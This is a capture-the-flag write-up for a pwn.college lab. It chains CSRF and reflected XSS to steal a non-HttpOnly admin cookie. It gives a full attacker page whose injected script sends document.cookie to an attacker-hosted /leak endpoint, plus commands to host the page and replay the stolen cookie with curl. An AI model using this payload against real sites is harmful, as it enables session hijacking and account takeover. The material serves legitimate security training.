csrf xss cookie (pwn.college)

Summary

We chain CSRF -> reflected XSS -> cookie theft. The victim bot always visits http://hacker.localhost:1337/, so we host an attacker page at / that redirects the victim to /ephemeral?msg=... with a <script> payload. That payload runs on http://challenge.localhost, reads document.cookie (not HttpOnly), and exfiltrates the admin cookie back to our server. We then replay the cookie to view the admin post (the flag).

Start

The challenge ships two binaries:

./server runs the Flask app at http://challenge.localhost
./victim launches the headless admin bot

Run the server:

cd /challenge
./server &

Understand the goal from server code

Key facts from server:

Admin credentials are derived from the flag:

db.execute("""CREATE TABLE users AS SELECT "admin" AS username, ? as password""", [flag[-20:]])

Successful login sets the cookie:

response.set_cookie('auth', username+"|"+password)

Admin's flag post is already in the posts table:

db.execute("""CREATE TABLE posts AS SELECT ? AS content, "admin" AS author, FALSE AS published""", [flag])

If we can steal the admin cookie (auth=admin|<last_20_of_flag>), we can request / as admin and see the flag.

The reflected XSS sink

/ephemeral reflects a GET parameter directly into HTML:

@app.route("/ephemeral", methods=["GET"])
def challenge_ephemeral():
    return f"""
        <html><body>
        <h1>You have received an ephemeral message!</h1>
        The message: {flask.request.args.get("msg", "(none)")}
        <hr><form>Craft an ephemeral message:<input type=text name=msg action=/ephemeral><input type=submit value=Submit></form>
        </body></html>
    """

That means:

/ephemeral?msg=<script>alert(1)</script>

is a reflected XSS sink. just like the previous challenge

Two-layer JavaScript plan

We need two scripts:

Outer JS on http://hacker.localhost:1337/ -> constructs the payload and navigates the victim to /ephemeral?msg=....
Inner JS inside the reflected XSS -> runs in challenge.localhost, steals document.cookie, and sends it back.

Because </script> inside a <script> tag breaks parsing, we split the closing tag:

const end = "</s" + "cript>";

We also URL-encode the payload to avoid special characters (+, <, >, spaces) breaking the URL.

Final attacker page

This page redirects the victim to the XSS URL:

<!doctype html><meta charset="utf-8">
<title>csrf-xss-cookie</title>
<script>
  const end = "</s" + "cript>";
  const inner = "new Image().src='http://hacker.localhost:1337/leak?c='+encodeURIComponent(document.cookie)";
  const payload = "<script>" + inner + end;
  const url = "http://challenge.localhost/ephemeral?msg=" + encodeURIComponent(payload);
  location = url;
</script>

Save it as /tmp/index.html so it is served at http://hacker.localhost:1337/:

cat > /tmp/index.html <<'EOF'
<!doctype html><meta charset="utf-8">
<title>csrf-xss-cookie</title>
<script>
  const end = "</s" + "cript>";
  const inner = "new Image().src='http://hacker.localhost:1337/leak?c='+encodeURIComponent(document.cookie)";
  const payload = "<script>" + inner + end;
  const url = "http://challenge.localhost/ephemeral?msg=" + encodeURIComponent(payload);
  location = url;
</script>
EOF

Host it:

python3 -m http.server 1337 --directory /tmp &

Trigger the victim

./victim

Expected server logs:

GET / HTTP/1.1                 (victim loads attacker page)
GET /ephemeral?msg=...          (victim hits reflected XSS)
GET /leak?c=auth%3Dadmin%7C...  (cookie exfil)

The /leak 404 is fine; the request still appears in the log.

From the http.server log, take the leaked cookie (URL-encoded):

/leak?c=Cookie

Decode the cookie using CyberChef or any URL decoding website

Then reuse it:

curl -s --cookie "auth=admin|PASTE_PASSWORD" http://challenge.localhost | rg -n "YOUR POST|pwn\.college"

You'll see the admin post (the flag).i'

Timeline view

t0  victim logs in as admin at challenge.localhost
t1  victim visits http://hacker.localhost:1337/
t2  attacker page builds XSS payload and navigates to /ephemeral?msg=...
t3  /ephemeral reflects msg into HTML (no escaping)
t4  XSS runs on challenge.localhost, reads document.cookie
t5  cookie is exfiltrated to http://hacker.localhost:1337/leak?c=...
t6  attacker replays cookie to / and reads admin post (flag)

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